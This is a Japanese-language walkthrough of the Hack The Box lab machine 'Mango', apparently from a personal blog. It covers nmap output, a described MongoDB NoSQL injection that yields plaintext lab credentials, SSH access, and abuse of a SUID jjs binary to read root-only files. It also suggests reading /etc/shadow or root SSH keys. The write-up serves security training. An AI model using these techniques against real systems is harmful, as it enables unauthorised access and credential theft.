Hack The Box - Mango (walkthrough)

Machineの概要

OS:Linux

難易度:Medium

/etc/hostsmango.htbを追記しました。

0. Summary

User:MongoDBへのNoSQL Injectionを行うことで、資格情報を獲得できました。

Root:SUIDフラグの立っているファイルを用いることで権限昇格が行えました。

NoSQL Injectionさえできてしまえば難易度はEasyです。

1. ポートスキャン

# Nmap 7.80 scan initiated Sun Oct 27 09:10:01 2019 as: nmap -sV -sC -A -oA namp/initial mango.htb
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.14s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/27%OT=22%CT=1%CU=36846%PV=Y%DS=2%DC=T%G=Y%TM=5DB4E0
OS:84%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SE
OS:Q(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%
OS:O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2
OS:=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNS
OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%
OS:DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   183.81 ms 10.10.14.1
2   183.89 ms mango.htb (10.10.10.162)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 27 09:10:44 2019 -- 1 IP address (1 host up) scanned in 42.48 seconds

2. 各ポートの調査

2.1. Port 22

特になし。

 

2.2. Port 80

port80は403が返ってきます。

DirBを使用しても有用なファイルは見つかりませんでした。

f:id:shibax86ken:20200417222424j:plain

port80

 

2.3. Port 443

Googleの様なトップページが現れますが、足がかりになるようなものは見つかりません。

f:id:shibax86ken:20200417223433p:plain

port443

 

そこで改めてnampの出力えを見てみると、証明のコモンネームがstaging-order.mango.htbであることが分かりました。

/etc/hostsstaging-order.mango.htbを追記します。

f:id:shibax86ken:20200418230748p:plain

ssl-cert

 

3. 新しいドメインページの調査

アクセスするとログインページが現れます。

f:id:shibax86ken:20200418231832j:plain

staging-order.mango.htb

 

私はここで行き詰まり、Formでヒントを探しました。

すると、どうやらこのMachine名が重要であることが分かりました。

「ログインページがある。」、「Machine名が重要である。」ことから、データベースにはMongo DBが使用されているのではないかという仮説をたてました。

3.1. Mongo DBへの攻撃

Mongo DBはNoSQLデータベースです。

PayloadsAllTheThings/NoSQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHubに掲載されていたコードを改造して攻撃しました

得られた資格情報は2つです。

admin: t9KcS3>!0B#2
mango: h3mXK8RhU~f{]f5H

4. user.txtの取得

NoSQL Injectionで得られたmangoの資格情報をSSHで使用できました。

root@kali$ ssh mango@mango.htb 
mango@mango.htb's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Apr 17 11:52:50 UTC 2020

  System load:  0.12               Processes:            131
  Usage of /:   27.3% of 19.56GB   Users logged in:      1
  Memory usage: 37%                IP address for ens33: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Apr 17 11:10:46 2020 from 10.10.14.46

mango@mango:~$

user.txtを探していると、adminユーザーのホームディレクトリ下にありました。

mango@mango:~$ cd /home/
mango@mango:/home$ ls
admin  mango
mango@mango:/home$ cd admin/
mango@mango:/home/admin$ ls -la
total 36
drwxr-xr-x 3 admin admin 4096 Apr 17 11:32 .
drwxr-xr-x 4 root  root  4096 Sep 27  2019 ..
lrwxrwxrwx 1 admin admin    9 Sep 27  2019 .bash_history -> /dev/null
-rw-r--r-- 1 admin admin  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 admin admin 3771 Apr  4  2018 .bashrc
-rw-rw-r-- 1 root  admin 2078 Apr 17 11:46 .jjs.history
drwxrwxr-x 3 admin admin 4096 Apr 17 10:22 .local
-rw-r--r-- 1 admin admin  807 Apr  4  2018 .profile
-r-------- 1 admin admin   33 Sep 27  2019 user.txt
-rw------- 1 admin admin 1022 Apr 17 10:25 .viminfo
mango@mango:/home/admin$ cat user.txt 
cat: user.txt: Permission denied

read権限はありませんが、NoSQL Injectionsで得た資格情報を使用できました。

mango@mango:/home/admin$ su admin 
Password: 
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
admin@mango:/home/admin$ cat user.txt | wc -c
33

5. root.txtの取得

LinEnumで権限昇格の足がかりを見つけます。

admin@mango:/home/admin$ ./LinEnum.sh
-- snip --
[-] SGID files:
-rwxr-sr-x 1 root shadow 35632 Apr  9  2018 /snap/core/7713/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr  9  2018 /snap/core/7713/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 Mar 25  2019 /snap/core/7713/usr/bin/chage
-rwxr-sr-x 1 root systemd-network 36080 Apr  5  2016 /snap/core/7713/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec  7  2013 /snap/core/7713/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 Mar 25  2019 /snap/core/7713/usr/bin/expiry
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/7713/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/7713/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/7713/usr/bin/mail-unlock
-rwxr-sr-x 1 root crontab 358624 Mar  4  2019 /snap/core/7713/usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 27368 May 15  2019 /snap/core/7713/usr/bin/wall
-rwsr-sr-x 1 root root 106696 Aug 30  2019 /snap/core/7713/usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root shadow 35632 Apr  9  2018 /snap/core/6350/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr  9  2018 /snap/core/6350/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 May 17  2017 /snap/core/6350/usr/bin/chage
-rwxr-sr-x 1 root systemd-network 36080 Apr  5  2016 /snap/core/6350/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec  7  2013 /snap/core/6350/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 May 17  2017 /snap/core/6350/usr/bin/expiry
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/6350/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/6350/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/6350/usr/bin/mail-unlock
-rwxr-sr-x 1 root crontab 358624 Nov  5  2018 /snap/core/6350/usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 27368 May 16  2018 /snap/core/6350/usr/bin/wall
-rwsr-sr-x 1 root root 98472 Jan 29  2019 /snap/core/6350/usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root tty 30800 Oct 15  2018 /usr/bin/wall
-rwxr-sr-x 1 root ssh 362640 Mar  4  2019 /usr/bin/ssh-agent
-rwxr-sr-x 1 root crontab 39352 Nov 16  2017 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 71816 Jan 25  2018 /usr/bin/chage
-rwxr-sr-x 1 root tty 14328 Jan 17  2018 /usr/bin/bsd-write
-rwsr-sr-x 1 root root 18161 Jul 15  2016 /usr/bin/run-mailcap
-rwxr-sr-x 1 root shadow 22808 Jan 25  2018 /usr/bin/expiry
-rwsr-sr-x 1 daemon daemon 51464 Feb 20  2018 /usr/bin/at
-rwxr-sr-x 1 root mlocate 43088 Mar  1  2018 /usr/bin/mlocate
-rwxr-sr-x 1 root utmp 10232 Mar 11  2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwsr-sr-- 1 root admin 10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-rwsr-sr-x 1 root root 101240 Mar 15  2019 /usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root shadow 34816 Apr  5  2018 /sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 34816 Apr  5  2018 /sbin/unix_chkpwd
-- snip --

有用な情報が見つけられなかったので、SUIDフラグのたったファイルの中から使えそうなものを見つけます。

みんな大好きGTFOBinsです。

条件に合う/usr/lib/jvm/java-11-openjdk-amd64/bin/jjsを使用します。

Hack The Boxではrootディレクトリの下にroot.txtがあるので、手っ取り早くreadしました。

admin@mango:/home/mango$ echo 'var BufferedReader = Java.type("java.io.BufferedRe
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));
jjs> while ((line = br.readLine()) != null) { print(line); }
[root.txt]
jjs> admin@mango:/home/mango$ 

Privilege Escalationは行っていませんが、/etc/shadow/のread、/root/.ssh/.authenticated_hostsへのwrite、/root/.ssh/id_rsのread等を行えば権限昇格できるはずです。